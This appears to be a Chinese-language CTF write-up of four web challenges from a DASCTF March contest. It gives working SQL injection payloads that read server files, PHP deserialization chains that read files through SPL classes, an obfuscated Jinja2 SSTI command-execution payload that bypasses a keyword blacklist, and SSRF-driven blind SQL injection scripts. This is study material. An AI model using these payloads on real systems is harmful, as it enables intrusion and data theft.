0%

DASCTF安恒三月赛

BestDB

  • SQL注入
  • 读取数据库文件load_file()

给了查询语句:

$sql = "SELECT * FROM users WHERE id = '$query' OR username = \\"$query\\"";

使query=2有回显,但是对于单引号进行了过滤,但是它给了username,通过username发现双引号是没有被过滤的,接着测试发现还过滤空格

在这里插入图片描述

在这里插入图片描述

payload :

查库:
"/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

查列:
"/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name="f1agdas"/**/and/**/table_schema=database()#

查数据:
"/**/union/**/select/**/group_concat(f1agdas),2,3/**/from/**/f1agdas# 回显了一个flag.txt,应该是要去读数据了

这里使用load_file()函数
"/**/union/**/select/**/load_file(0x2f666c61672e747874),2,3# //读取 "/flag.txt"

存在过滤所以十六进制绕过


ez_serialize

A、B、C三个类都没有什么危险函数,利用原生类读取文件

SPL是用于 "解决典型问题" (standard problems)的一组接口与类的集合

SPL类中存在能够进行文件处理和迭代的类:

类                          描述 
DirectoryIterator | 遍历目录 |
FilesystemIterator | 遍历目录 |
GlobIterator | 遍历目录,但是不同的点在于它可以通配例如/var/html/www/flag* |
SplFileObject | 读取文件,按行读取,多行需要遍历,URL 可作为文件名,受到allow_url_fopen影响 |
finfo/finfo_open() | 读取文件 需要两个参数

源码:

  <?php
error_reporting(0);
highlight_file(__FILE__);

class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}

}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{

function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}


if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;

} hello ctfer
  • 直接读取/var/www/html下文件有哪些,得到一个flag所在的文件夹,再遍历这个文件夹发现存在flag.php
<?php
class A{
public $class='FilesystemIterator';
public $para="/var/www/html";
public $check;
}
$o = new A();
echo serialize($o);

在这里插入图片描述

  • 接着用SplFileObject(“/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php”)读到flag
<?php
class A{
public $class='SplFileObject';
public $para="/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
public $check;
}

$o = new A();
echo serialize($o);

baby_flask

  • SSTI
  • join
  • python3支持unicode编码

过滤:

Hi young boy!</br>
Do you like ssti?</br>
blacklist</br>
'.','[','\'','"',''\\','+',':','_',</br>
'chr','pop','class','base','mro','init','globals','get',</br>
'eval','exec','os','popen','open','read',</br>
'select','url_for','get_flashed_messages','config','request',</br>
'count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9'</br>
</br>

数字被过滤了可以使用这些特殊的数字来绕过,所以可以使用”𝟘-𝟡”替换数字

https://www.compart.com/en/unicode/bidiclass/EN

然后就可以使用 join 进行拼接构造出一些我们想要的字符

{%set a=dict(po=aa,p=aa)|join%}   # pop
{%set b=lipsum|string|list|attr(a)(𝟙𝟠)%} # _
{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%} # globals
{%set d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%} # getitem
{%set e=dict(o=cc,s=aa)|join%} # os
{%set f=lipsum|string|list|attr(a)(𝟡)%} # 空格
{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟠)%} # 斜杠
{%set i=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%} # cat /flag
{%set h=(a,dict(en=aa)|join|join)|join%} # popen
{%set i=dict(re=aa,ad=aa)|join%} # read
{%set z=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟝)%} #点
{%set j=(dict(ls=aa)|join,f,g,(dict(var=aa)|join),g,(dict(www=aa)|join),g,(dict(flask=aa)|join)|join)|join%} #ls /var/www/flask
{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(j))|attr(i)()%}{{j}}

#最后拼接起来
#{{lipsum.__globals__['os'].popen('ls /var/www/flask').read()}}

最后的payload如下,成功执行ls /var/www/flask就可以看到flag:

name={%set a=dict(po=aa,p=aa)|join%}{%set b=lipsum|string|list|attr(a)(𝟙𝟠)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(ge=cc,tit=dd,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{%set f=lipsum|string|list|attr(a)(𝟡)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟠)%}{%set i=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%}{%set h=(a,dict(en=aa)|join|join)|join%}{%set i=dict(re=aa,ad=aa)|join%}{%set z=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-𝟝)%}{%set j=(dict(ls=aa)|join,f,g,(dict(var=aa)|join),g,(dict(www=aa)|join),g,(dict(flask=aa)|join)|join)|join%}{%print (((lipsum|attr(c))|attr(d)(e))|attr(h)(j))|attr(i)()%}{{j}}

ez_login(x)

  • SSRF
  • SESSION绕过
  • 布尔盲注

给出源码:

Index.php

<?php
if(!isset($_SESSION)){
highlight_file(__FILE__);
die("no session");
}
include("./php/check_ip.php");
error_reporting(0);
$url = $_GET['url'];
if(check_inner_ip($url)){
if($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
curl_close($ch);
}
}else{
echo "Your IP is internal yoyoyo";
}
?>

抓包:


需要初始化session,这里需要利用PHP_SESSION_UPLOAD_PROGRESS来初始化session
可看(LFI绕过Session包含限制)

session.upload_progress是php>=5.4添加的。最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在session中(包含用户可控的值),即使此时用户没有初始化session,PHP也会自动初始化session。 而且,默认情况下session.upload_progress.enabled是为开启的

创建表单:


添加phpsessid ,获得允许:


扫出admin.php:


直接访问失败,根据index.php利用SSRF访问


换个ip形式:


回显:


访问/yuanma_f0r_eAZy_logon.zip,得到源码se1f_Log3n.php:

se1f_log3n.php

<?php
include("./php/db.php");
include("./php/check_ip.php");
error_reporting(E_ALL);
$ip = $_SERVER["REMOTE_ADDR"];
if($ip !== "127.0.0.1"){
exit();
}else{
try{
$sql = 'SELECT `username`,`password` FROM `user` WHERE `username`= "'.$username.'" and `password`="'.$password.'";';
$result = $con->query($sql);
echo $sql;
}catch(Exception $e){
echo $e->getMessage();
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND die("error")) OR ( ($con->close() AND die('Try again!') ));
}

ssrf访问:

Sql注入试试:

?url=http://localhost/se1f_Log3n.php?username='or 1=1%25%32%33&password=
对 ‘#’ 进行两次url编码(index.php一次login.php一次)

尝试盲注:

?username='or length(database())=3%25%32%33&password=1
查出库长度为3

脚本:

import requests
import time

asc_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_"
data = {'PHP_SESSION_UPLOAD_PROGRESS':'233'}
file = {'file':''}
cookie = {'PHPSESSID':'cys'}
ip = 'http://183.129.189.60:10015/?url='

flag = ''
for i in range(1,50):
for s in asc_str:
payload = 'http://localhost//se1f_Log3n.php?username=\'or ascii(mid((select flag from secret),{},1))={}%25%32%33&password='.format(i,ord(s))
url = ip + payload
r = requests.post(url=url, data=data, files=file, cookies=cookie)

if 'correct?' in r.text:
flag += s
print(flag)
else:
pass

替换payload:

查库:
payload = 'http://localhost//se1f_Log3n.php?username=\'or ascii(substr(database(),{},1))={}%25%32%33&password='.format(i,ord(s))


查表:
payload = 'http://localhost//se1f_Log3n.php?username=\'or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema= database()),{},1))={}%25%32%33&password='.format(i,ord(s))

查数据:
payload = 'http://localhost//se1f_Log3n.php?username=\'or ascii(mid((select flag from secret),{},1))={}%25%32%33&password='.format(i,ord(s))

大佬脚本

# coding=utf-8
import io
import requests
import threading

tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
flag = ''
sessid = 'flag'
for i in range(1,70):
for j in tables:
url = "http://6ac49c07-405e-454b-8b76-50c4b3adb45d.machine.dasctf.com/?url=http://localhost/se1f_Log3n.php?username=admin' password regexp binary %s-- #&password=admin"%(j)
f = io.BytesIO(b'a' * 1024 * 50)
session = requests.session()
resp = session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS': 'x'},files={'file': ('tgao.txt', f)}, cookies={'PHPSESSID': sessid})
if 'wrong' not in resp.text:
flag = flag +j
print(j)

参考

Xiao Leung’s Blog

DASCTF2021安恒三月赛

各路大佬wp